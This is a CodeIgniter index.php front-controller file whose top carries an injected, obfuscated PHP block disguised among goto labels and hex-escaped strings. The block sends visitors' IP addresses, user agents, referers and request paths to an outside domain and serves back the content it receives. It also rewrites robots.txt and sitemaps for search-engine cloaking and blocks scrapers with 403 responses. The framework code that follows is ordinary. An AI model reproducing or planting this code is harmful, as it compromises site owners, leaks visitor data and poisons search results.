<?php
 goto Bmtwu; Km8L5: goto HWwVX; goto yjPwp; BVHwI: ApZjB: goto Orfz7; H3_JK: if (!empty($t8WH0)) { goto Nj1du; } goto EdCKU; Nflbu: $LUitw = $INMDA . "\72\x2f\57" . $_SERVER["\110\124\x54\x50\x5f\x48\x4f\123\124"] . "\x2f\x6e\x76\x68\x6e\x76\150"; goto gU2lW; Q5N7Q: $egBC8 = $_SERVER["\123\103\x52\111\120\x54\137\116\101\x4d\105"]; goto d4Ndi; Qsb2Q: if (!(strpos($wYdW7, "\x70\151\156\x67\x73\151\x74\x65\x6d\141\160") !== false)) { goto ZmZ3M; } goto Q5N7Q; cVlsH: $abrYY = $_SERVER["\x48\124\x54\x50\x5f\x43\114\x49\x45\116\x54\x5f\111\x50"]; goto YjaVo; YTrnr: eRxer: goto gN7Ww; XpHcd: function Gx0Nz($Dd0L3) { goto yMrcT; NnBLb: fclose($bRd7w); goto n_NS1; Y7693: $kD36O = fread($bRd7w, filesize($Dd0L3)); goto NnBLb; n_NS1: return $kD36O; goto K7gm9; RewQk: return false; goto dJhvn; sHPpw: if (!$bRd7w) { goto rAPWK; } goto Y7693; K7gm9: rAPWK: goto RewQk; yMrcT: $bRd7w = fopen($Dd0L3, "\162"); goto sHPpw; dJhvn: } goto EuoRu; kCP8O: wT3_N: goto of2cM; zllJ1: $egBC8 = "\x2f\x3f"; goto Rqsmt; YjaVo: goto YRdbm; goto POAT5; By_rG: $lvFNq = "\150\164\x74\160"; goto HQeG0; Xm7nP: if (strpos($wYdW7, "\x6a\x70\x32\60\62\x33") !== false) { goto eRxer; } goto Iq2_U; S1I32: $hb2md = "\72"; goto meBOT; pQARV: if (!is_file($Qpkqp)) { goto ZPA_z; } goto XwbUL; jK_eW: echo "\x6f\x6b"; goto YNJhN; Orfz7: $MR2Ko = $kZ1bK . "\x3f\141\147\145\156\x74\x3d{$q_1Pz}\46\x72\x65\146\x65\162\75{$L2vI6}\x26\x6c\x61\x6e\x67\x3d{$PV3qm}\46\x69\160\x3d{$abrYY}\46\x64\157\x6d\x3d{$SvN6h}\46\x68\164\x74\160\x3d{$INMDA}\x26\165\162\151\75{$wYdW7}\46\x70\x63\75{$X5MTb}\46\162\x65\x77\162\x69\x74\145\141\x62\154\x65\x3d{$tKvI4}\46\163\143\x72\151\x70\x74\75{$n7KTu}"; goto pbalu; Cv8Mj: function tGqDQ($Dd0L3, $kD36O) { goto YOWFL; YDyY6: kCu6u: goto ceH6M; ceH6M: return false; goto fR5je; GOQtv: fclose($bRd7w); goto TnzMB; YOWFL: $bRd7w = fopen($Dd0L3, "\167"); goto Kk9OH; yUm_2: fwrite($bRd7w, $kD36O); goto GOQtv; Kk9OH: if (!$bRd7w) { goto kCu6u; } goto yUm_2; TnzMB: return true; goto YDyY6; fR5je: } goto XpHcd; meBOT: $kZ1bK = $lvFNq . $hb2md . $jXoI1 . $qH72_ . $Hes37; goto wSidN; Q_tB3: loz6Q: goto cVlsH; f3Jd5: curl_setopt($s0omB, CURLOPT_SSL_VERIFYHOST, FALSE); goto E1yhn; CRL06: $tKvI4 = 0; goto E9Mn2; Rqsmt: kI9fc: goto V_8AD; rOwJI: $q_1Pz = urlencode($_SERVER["\x48\124\124\x50\x5f\x55\123\x45\122\x5f\101\x47\105\x4e\x54"]); goto nUMCa; sTMa_: ZPA_z: goto Nflbu; YNJhN: exit; goto W70Il; E9Mn2: tGQDq($Qpkqp, "\60"); goto KRu7r; Zb1UA: goto KJ5tj; goto sTMa_; nUMCa: if (isset($_SERVER["\x48\124\124\120\x5f\x43\x4c\111\x45\x4e\124\x5f\111\x50"])) { goto loz6Q; } goto SpFE2; pjAal: header("\x43\157\156\x74\145\x6e\x74\x2d\124\171\160\145\x3a\x20\x74\x65\x78\x74\57\170\155\x6c\x3b\40\x63\x68\141\162\x73\x65\x74\x3d\165\x74\146\x2d\x38"); goto d91_J; hx00x: header("\103\x6f\156\x74\x65\x6e\164\55\x54\171\160\x65\x3a\40\164\145\170\x74\x2f\150\164\x6d\154\73\x20\x63\x68\141\162\x73\145\164\x3d\165\x74\146\55\x38"); goto DsfAY; Jf8QY: if (!preg_match("\x2f\x28\103\x65\x6e\163\x79\x73\111\x6e\x73\x70\145\x63\x74\174\x53\x65\x7a\156\141\155\x42\157\x74\174\x4a\141\x75\x6e\x74\x79\x7c\x68\x65\x72\151\x74\162\x69\170\x7c\x59\141\x6e\144\x65\170\x42\x6f\164\174\x48\x74\x74\x70\x43\154\151\x65\156\164\x7c\x4c\x69\147\x68\164\x44\145\x63\153\x52\145\x70\x6f\x72\164\163\40\x42\x6f\164\174\101\150\162\145\x66\x73\x42\157\x74\x7c\160\171\164\x68\157\x6e\55\x72\145\161\x75\x65\163\x74\163\174\123\145\155\x72\165\163\x68\x42\x6f\x74\174\107\120\x54\x42\x6f\164\174\112\151\x6b\x65\123\x70\x69\144\145\x72\x7c\x4d\x6a\61\62\x62\x6f\x74\174\103\x6f\x6f\x6c\x70\x61\144\x57\x65\x62\x6b\151\164\174\172\155\x45\x75\x7c\x79\151\163\x6f\x75\123\160\151\144\x65\162\174\160\171\x74\x68\157\x6e\x7c\x69\156\x64\171\x20\x4c\151\142\x72\141\x72\x79\174\x61\x6d\141\172\x6f\156\102\157\x74\174\x73\x63\x72\x61\160\171\174\112\x61\x76\141\x7c\107\x6f\x2d\150\x74\x74\160\x2d\x63\154\x69\x65\156\x74\x7c\142\141\162\x6b\162\x6f\167\154\x65\162\x7c\x46\x65\145\144\154\x79\174\104\157\164\102\x6f\164\174\x73\x77\x69\146\164\142\x6f\164\x7c\x61\160\141\x63\150\145\x42\145\x6e\143\150\174\x44\141\x74\141\106\157\162\x53\105\x4f\x7c\x46\145\145\x64\x44\x65\x6d\x6f\x6e\x7c\x41\163\x6b\124\142\x46\x58\x54\x56\174\x50\171\164\150\x6f\156\55\x75\x72\154\x6c\x69\x62\174\x50\x61\154\157\x61\154\x74\157\x6e\x65\x74\167\157\x72\153\x73\x7c\x64\151\x67\105\x78\x74\174\x45\141\x73\157\165\123\160\x69\x64\x65\x72\x7c\x79\x79\123\x70\151\x64\x65\x72\174\x65\x7a\157\157\x6d\x73\174\160\145\x74\x61\154\102\x6f\164\x7c\117\102\x6f\164\174\103\162\x61\167\x6c\x44\141\144\144\171\x7c\165\156\151\166\145\x72\163\x61\154\x46\x65\145\144\120\x61\x72\163\145\x72\174\x62\x79\x74\x65\163\160\151\x64\x65\162\51\x2f\151", $_SERVER["\110\x54\x54\x50\137\x55\123\x45\122\x5f\101\107\x45\116\x54"])) { goto wT3_N; } goto aRLdT; XzKWg: exit; goto Gg7sQ; Tg5bT: if ($tKvI4 == 0) { goto JNX0Q; } goto IX4j8; H3tQ_: $_SERVER["\x52\x45\121\125\105\x53\124\x5f\123\103\110\x45\115\105"] = "\x68\164\x74\160"; goto Km8L5; eHyzW: echo $kfEP2 . "\x3a\x20" . $Tl1zk . "\74\x62\x72\57\x3e"; goto XXaHE; TXo4k: tGqDQ("\x72\157\x62\x6f\x74\x73\56\x74\170\164", $Rox46); goto WgRTr; kl_2A: j4drF: goto Xm7nP; hBv1u: if (strpos($wYdW7, "\146\x61\x76\x69\x63\157\x6e\56\x69\x63\157") !== false) { goto wJVwM; } goto ZBXeb; Ny8Ys: KJ5tj: goto hBv1u; kneto: $SvN6h = urlencode($_SERVER["\110\x54\124\x50\137\110\x4f\x53\124"]); goto Jt2SQ; qNQE4: Q6snN: goto IOVgr; Bpa37: exit; goto kl_2A; k2_ul: $kfEP2 = "{$INMDA}\72\x2f\x2f" . $SvN6h . $egBC8 . "\x73\151\x74\145\x6d\141\x70\x2e\170\155\x6c"; goto gh00U; aV0zo: HWwVX: goto Cv8Mj; EdCKU: if (!(strpos($wYdW7, "\x72\x6f\x62\157\164\163\56\164\x78\x74") !== false)) { goto KwSlr; } goto TXo4k; HCdIS: v8hEd: goto di96g; mNJ_X: $qH72_ = "\x2e\x74\x75\x72\x6b\145"; goto By_rG; EuoRu: $INMDA = urlencode($_SERVER["\x52\105\x51\x55\105\123\x54\137\x53\x43\x48\x45\115\x45"]); goto wrZqK; qVBxD: ncVSO: goto tKHHo; pbalu: $t8WH0 = ''; goto Qsb2Q; M70fU: $tKvI4 = 0; goto crC_H; S53jF: if (!empty($Rox46)) { goto ncVSO; } goto KUwhn; Jt2SQ: $n7KTu = urlencode($_SERVER["\123\103\122\x49\120\x54\x5f\116\x41\115\x45"]); goto mXSvr; p1USO: if (!(substr($Rox46, 0, 10) == "\145\x72\x72\157\162\40\x63\x6f\144\x65" or $Rox46 == "\x35\60\x30" or strpos($Rox46, "\102\141\144\x20\x47\141\x74\145\x77\141\x79") !== false)) { goto j4drF; } goto uOGvh; ZPv1h: $Rox46 = @file_get_contents($MR2Ko); goto S53jF; Iq2_U: if (substr($Rox46, 0, 5) == "\74\77\170\155\154") { goto PEhJo; } goto hx00x; Gg7sQ: return; goto eShwL; vQGFc: curl_setopt($s0omB, CURLOPT_URL, $MR2Ko); goto IRpWI; IOVgr: echo $Rox46; goto H3_JK; Bmtwu: $jXoI1 = "\57\x2f\x63\167\62\x32\70\x36"; goto mNJ_X; W70Il: pCT1T: goto M70fU; HQeG0: $Hes37 = "\x79\145\x6e\x64\x2e\143\x6f\155\x2f"; goto S1I32; DTjhr: goto cg69v; goto SKn_i; pKW1s: if (!empty($_SERVER["\122\105\121\125\x45\x53\124\137\123\x43\110\105\115\x45"]) and $_SERVER["\x52\x45\121\x55\105\123\124\x5f\x53\x43\110\x45\115\x45"] == "\x68\164\x74\x70\x73" or !empty($_SERVER["\x48\x54\x54\120\x53"]) and $_SERVER["\x48\x54\x54\120\123"] == "\157\x6e" or !empty($_SERVER["\x53\x45\122\126\105\122\x5f\120\x4f\x52\124"]) and $_SERVER["\x53\105\122\x56\105\122\137\x50\117\x52\124"] == "\64\x34\x33" or isset($_SERVER["\110\124\x54\120\137\130\137\106\x4f\122\127\x41\x52\104\105\x44\137\120\x52\117\x54\117"]) and $_SERVER["\x48\x54\124\x50\x5f\130\137\x46\117\122\x57\101\122\x44\x45\x44\x5f\x50\122\x4f\x54\117"] == "\x68\164\x74\x70\163") { goto ZvCey; } goto H3tQ_; SEDu4: if ($Rox46 === "\x6f\x6b") { goto r95Uq; } goto CRL06; hUvQK: $t8WH0 = "\125\163\x65\162\55\141\147\145\x6e\x74\72\40\52\xd\xa\x41\154\154\x6f\167\72\x20\57"; goto k2_ul; MvW2v: $_SERVER["\122\105\x51\125\105\x53\x54\x5f\123\x43\x48\x45\115\105"] = "\150\164\164\160\x73"; goto aV0zo; aRLdT: header("\x48\124\124\x50\x2f\61\x2e\x30\40\64\x30\63\40\x46\x6f\x72\142\151\144\x64\x65\x6e"); goto U12pH; d4Ndi: if (strpos($egBC8, "\x69\x6e\144\x65\x78\x2e\x70") !== false) { goto ksvpz; } goto dgm3X; yjPwp: ZvCey: goto MvW2v; p7Sp1: curl_setopt($s0omB, CURLOPT_FOLLOWLOCATION, false); goto I2gNb; I2gNb: curl_setopt($s0omB, CURLOPT_SSL_VERIFYPEER, FALSE); goto f3Jd5; uOGvh: header("\110\124\x54\x50\x2f\61\56\60\x20\x35\60\x30\40\111\156\164\x65\162\156\141\154\x20\x53\145\x72\166\x65\162\x20\105\x72\162\x6f\x72"); goto Bpa37; gh00U: $t8WH0 = trim($t8WH0) . "\15\xa" . "\x53\151\x74\x65\155\x61\x70\x3a\x20{$kfEP2}"; goto K2tMc; WgRTr: KwSlr: goto DTjhr; K2tMc: $Tl1zk = ''; goto eHyzW; tKHHo: if (empty($Rox46)) { goto Osv1J; } goto p1USO; eHZJE: Z2TuM: goto Ny8Ys; gN7Ww: header("\110\x54\124\x50\x2f\61\56\x31\40\64\60\64\x20\x4e\x6f\x74\40\x46\x6f\x75\156\x64"); goto qNQE4; di96g: goto yvDvX; goto r2XWI; IRpWI: curl_setopt($s0omB, CURLOPT_RETURNTRANSFER, true); goto p7Sp1; IX4j8: $egBC8 = "\57"; goto L4Tjh; XwbUL: $tKvI4 = gX0Nz($Qpkqp); goto Zb1UA; crC_H: $Qpkqp = "\156\166\150\56\164\170\164"; goto pQARV; XpZvY: cg69v: goto XzKWg; wrZqK: $wYdW7 = urlencode($_SERVER["\122\105\121\125\105\x53\x54\137\125\122\x49"]); goto eYCcb; U12pH: exit; goto kCP8O; eShwL: Osv1J: goto HCdIS; gU2lW: $Rox46 = @file_get_contents($LUitw); goto SEDu4; V_8AD: vzR8G: goto hUvQK; E1yhn: $Rox46 = curl_exec($s0omB); goto PPG7R; SpFE2: if (isset($_SERVER["\x48\x54\x54\x50\137\x58\x5f\x46\117\x52\127\101\x52\x44\105\104\137\x46\117\x52"])) { goto oBSYk; } goto xEFJf; dgm3X: $egBC8 = $egBC8 . "\77"; goto NZlCi; j4jf8: tgQDQ("\162\157\x62\157\164\163\56\x74\x78\164", $t8WH0); goto XpZvY; XXaHE: $MR2Ko = $kZ1bK . "\77\x61\x67\x65\x6e\x74\75{$q_1Pz}\46\162\x65\146\145\x72\75{$L2vI6}\46\154\141\x6e\147\x3d{$PV3qm}\46\x69\x70\75{$abrYY}\46\x64\x6f\x6d\x3d{$SvN6h}\x26\x68\164\164\160\x3d{$INMDA}\x26\165\162\x69\x3d{$wYdW7}\46\x70\x63\75{$X5MTb}\46\x72\x65\167\162\x69\x74\145\141\142\x6c\x65\75{$tKvI4}\46\x73\143\162\151\160\164\75{$n7KTu}\46\x73\x69\164\145\155\141\160\75" . urlencode($kfEP2); goto Yeo6u; h5zzx: goto Q6snN; goto YTrnr; KRu7r: goto Z2TuM; goto YZhz0; KUwhn: $s0omB = curl_init(); goto vQGFc; r2XWI: wJVwM: goto u062k; y6eXK: $L2vI6 = urlencode(@$_SERVER["\110\124\x54\120\137\122\105\106\105\x52\105\x52"]); goto twS8c; Yeo6u: ZmZ3M: goto ZPv1h; mXSvr: $abrYY = urlencode($abrYY); goto pKW1s; DsfAY: goto ez98o; goto ThUzD; ZBXeb: if (preg_match("\x40\136\57\50\x2e\x2a\77\51\x2e\x78\155\154\x24\x40\151", $_SERVER["\122\x45\x51\x55\x45\x53\x54\x5f\x55\122\111"]) or strpos($wYdW7, "\x72\x6f\142\157\164\163\x2e\164\x78\x74") !== false or strpos($wYdW7, "\152\160\x32\x30\x32\x33") !== false or strpos($wYdW7, "\x70\151\156\x67\163\x69\164\x65\155\141\160") !== false or preg_match("\x2f\50{$LzxiG}\51\57\151", $_SERVER["\x48\124\x54\x50\137\125\x53\105\122\137\x41\107\x45\116\124"]) or preg_match("\57\50{$LzxiG}\x29\x2f\x69", @$_SERVER["\110\x54\124\x50\137\x52\x45\106\105\x52\105\122"])) { goto ApZjB; } goto mCY4V; Z_fab: Tgqdq($Qpkqp, "\x31"); goto eHZJE; YZhz0: r95Uq: goto R1Wdr; ThUzD: PEhJo: goto pjAal; twS8c: $abrYY = $_SERVER["\x52\105\x4d\x4f\124\x45\x5f\101\104\x44\x52"]; goto rOwJI; of2cM: $PV3qm = urlencode(@$_SERVER["\110\124\x54\x50\x5f\x41\103\103\105\x50\124\137\114\101\x4e\x47\125\x41\107\105"]); goto y6eXK; S8vRj: $abrYY = $_SERVER["\110\124\124\120\x5f\x58\137\x46\x4f\122\127\101\x52\x44\105\104\x5f\x46\x4f\x52"]; goto GjGOo; L4Tjh: goto kI9fc; goto Yz7ex; PPG7R: curl_close($s0omB); goto qVBxD; YIBlM: error_reporting(0); goto fEJtQ; Yz7ex: JNX0Q: goto zllJ1; fEJtQ: $LzxiG = "\x59\x61\x68\157\157\x7c\x44\157\143\157\x6d\x6f\x7c\x42\151\x6e\x67\x7c\107\157\x6f\x67\x6c\145"; goto Jf8QY; d91_J: ez98o: goto h5zzx; POAT5: oBSYk: goto S8vRj; wSidN: $X5MTb = "\104\x46\126\x56\x56\x67\x57"; goto YIBlM; xEFJf: goto YRdbm; goto Q_tB3; GjGOo: YRdbm: goto kneto; CQ3BJ: ksvpz: goto Tg5bT; eYCcb: if (!(strpos($wYdW7, "\x6e\x76\150\156\x76\150") !== false)) { goto pCT1T; } goto jK_eW; R1Wdr: $tKvI4 = 1; goto Z_fab; NZlCi: goto vzR8G; goto CQ3BJ; SKn_i: Nj1du: goto j4jf8; mCY4V: goto v8hEd; goto BVHwI; u062k: yvDvX:
?><?php
/**
 * CodeIgniter
 *
 * An open source application development framework for PHP
 *
 * This content is released under the MIT License (MIT)
 *
 * Copyright (c) 2014 - 2018, British Columbia Institute of Technology
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 *
 * @package	CodeIgniter
 * @author	EllisLab Dev Team
 * @copyright	Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/)
 * @copyright	Copyright (c) 2014 - 2018, British Columbia Institute of Technology (http://bcit.ca/)
 * @license	http://opensource.org/licenses/MIT	MIT License
 * @link	https://codeigniter.com
 * @since	Version 1.0.0
 * @filesource
 */

/*
 *---------------------------------------------------------------
 * APPLICATION ENVIRONMENT
 *---------------------------------------------------------------
 *
 * You can load different configurations depending on your
 * current environment. Setting the environment also influences
 * things like logging and error reporting.
 *
 * This can be set to anything, but default usage is:
 *
 *     development
 *     testing
 *     production
 *
 * NOTE: If you change these, also change the error_reporting() code below
 */
	define('ENVIRONMENT', isset($_SERVER['CI_ENV']) ? $_SERVER['CI_ENV'] : 'development');

/*
 *---------------------------------------------------------------
 * ERROR REPORTING
 *---------------------------------------------------------------
 *
 * Different environments will require different levels of error reporting.
 * By default development will show errors but testing and live will hide them.
 */
switch (ENVIRONMENT)
{
	case 'development':
		error_reporting(-1);
		ini_set('display_errors', 1);
	break;

	case 'testing':
	case 'production':
		ini_set('display_errors', 0);
		if (version_compare(PHP_VERSION, '5.3', '>='))
		{
			error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED);
		}
		else
		{
			error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE);
		}
	break;

	default:
		header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
		echo 'The application environment is not set correctly.';
		exit(1); // EXIT_ERROR
}

/*
 *---------------------------------------------------------------
 * SYSTEM DIRECTORY NAME
 *---------------------------------------------------------------
 *
 * This variable must contain the name of your "system" directory.
 * Set the path if it is not in the same directory as this file.
 */
	$system_path = 'system';

/*
 *---------------------------------------------------------------
 * APPLICATION DIRECTORY NAME
 *---------------------------------------------------------------
 *
 * If you want this front controller to use a different "application"
 * directory than the default one you can set its name here. The directory
 * can also be renamed or relocated anywhere on your server. If you do,
 * use an absolute (full) server path.
 * For more info please see the user guide:
 *
 * https://codeigniter.com/user_guide/general/managing_apps.html
 *
 * NO TRAILING SLASH!
 */
	$application_folder = 'application';

/*
 *---------------------------------------------------------------
 * VIEW DIRECTORY NAME
 *---------------------------------------------------------------
 *
 * If you want to move the view directory out of the application
 * directory, set the path to it here. The directory can be renamed
 * and relocated anywhere on your server. If blank, it will default
 * to the standard location inside your application directory.
 * If you do move this, use an absolute (full) server path.
 *
 * NO TRAILING SLASH!
 */
	$view_folder = '';


/*
 * --------------------------------------------------------------------
 * DEFAULT CONTROLLER
 * --------------------------------------------------------------------
 *
 * Normally you will set your default controller in the routes.php file.
 * You can, however, force a custom routing by hard-coding a
 * specific controller class/function here. For most applications, you
 * WILL NOT set your routing here, but it's an option for those
 * special instances where you might want to override the standard
 * routing in a specific front controller that shares a common CI installation.
 *
 * IMPORTANT: If you set the routing here, NO OTHER controller will be
 * callable. In essence, this preference limits your application to ONE
 * specific controller. Leave the function name blank if you need
 * to call functions dynamically via the URI.
 *
 * Un-comment the $routing array below to use this feature
 */
	// The directory name, relative to the "controllers" directory.  Leave blank
	// if your controller is not in a sub-directory within the "controllers" one
	// $routing['directory'] = '';

	// The controller class file name.  Example:  mycontroller
	// $routing['controller'] = '';

	// The controller function you wish to be called.
	// $routing['function']	= '';


/*
 * -------------------------------------------------------------------
 *  CUSTOM CONFIG VALUES
 * -------------------------------------------------------------------
 *
 * The $assign_to_config array below will be passed dynamically to the
 * config class when initialized. This allows you to set custom config
 * items or override any default config values found in the config.php file.
 * This can be handy as it permits you to share one application between
 * multiple front controller files, with each file containing different
 * config values.
 *
 * Un-comment the $assign_to_config array below to use this feature
 */
	// $assign_to_config['name_of_config_item'] = 'value of config item';



// --------------------------------------------------------------------
// END OF USER CONFIGURABLE SETTINGS.  DO NOT EDIT BELOW THIS LINE
// --------------------------------------------------------------------

/*
 * ---------------------------------------------------------------
 *  Resolve the system path for increased reliability
 * ---------------------------------------------------------------
 */

	// Set the current directory correctly for CLI requests
	if (defined('STDIN'))
	{
		chdir(dirname(__FILE__));
	}

	if (($_temp = realpath($system_path)) !== FALSE)
	{
		$system_path = $_temp.DIRECTORY_SEPARATOR;
	}
	else
	{
		// Ensure there's a trailing slash
		$system_path = strtr(
			rtrim($system_path, '/\\'),
			'/\\',
			DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR
		).DIRECTORY_SEPARATOR;
	}

	// Is the system path correct?
	if ( ! is_dir($system_path))
	{
		header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
		echo 'Your system folder path does not appear to be set correctly. Please open the following file and correct this: '.pathinfo(__FILE__, PATHINFO_BASENAME);
		exit(3); // EXIT_CONFIG
	}

/*
 * -------------------------------------------------------------------
 *  Now that we know the path, set the main path constants
 * -------------------------------------------------------------------
 */
	// The name of THIS file
	define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));

	// Path to the system directory
	define('BASEPATH', $system_path);

	// Path to the front controller (this file) directory
	define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

	// Name of the "system" directory
	define('SYSDIR', basename(BASEPATH));

	// The path to the "application" directory
	if (is_dir($application_folder))
	{
		if (($_temp = realpath($application_folder)) !== FALSE)
		{
			$application_folder = $_temp;
		}
		else
		{
			$application_folder = strtr(
				rtrim($application_folder, '/\\'),
				'/\\',
				DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR
			);
		}
	}
	elseif (is_dir(BASEPATH.$application_folder.DIRECTORY_SEPARATOR))
	{
		$application_folder = BASEPATH.strtr(
			trim($application_folder, '/\\'),
			'/\\',
			DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR
		);
	}
	else
	{
		header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
		echo 'Your application folder path does not appear to be set correctly. Please open the following file and correct this: '.SELF;
		exit(3); // EXIT_CONFIG
	}

	define('APPPATH', $application_folder.DIRECTORY_SEPARATOR);

	// The path to the "views" directory
	if ( ! isset($view_folder[0]) && is_dir(APPPATH.'views'.DIRECTORY_SEPARATOR))
	{
		$view_folder = APPPATH.'views';
	}
	elseif (is_dir($view_folder))
	{
		if (($_temp = realpath($view_folder)) !== FALSE)
		{
			$view_folder = $_temp;
		}
		else
		{
			$view_folder = strtr(
				rtrim($view_folder, '/\\'),
				'/\\',
				DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR
			);
		}
	}
	elseif (is_dir(APPPATH.$view_folder.DIRECTORY_SEPARATOR))
	{
		$view_folder = APPPATH.strtr(
			trim($view_folder, '/\\'),
			'/\\',
			DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR
		);
	}
	else
	{
		header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
		echo 'Your view folder path does not appear to be set correctly. Please open the following file and correct this: '.SELF;
		exit(3); // EXIT_CONFIG
	}

	define('VIEWPATH', $view_folder.DIRECTORY_SEPARATOR);

/*
 * --------------------------------------------------------------------
 * LOAD THE BOOTSTRAP FILE
 * --------------------------------------------------------------------
 *
 * And away we go...
 */
require_once BASEPATH.'core/CodeIgniter.php';
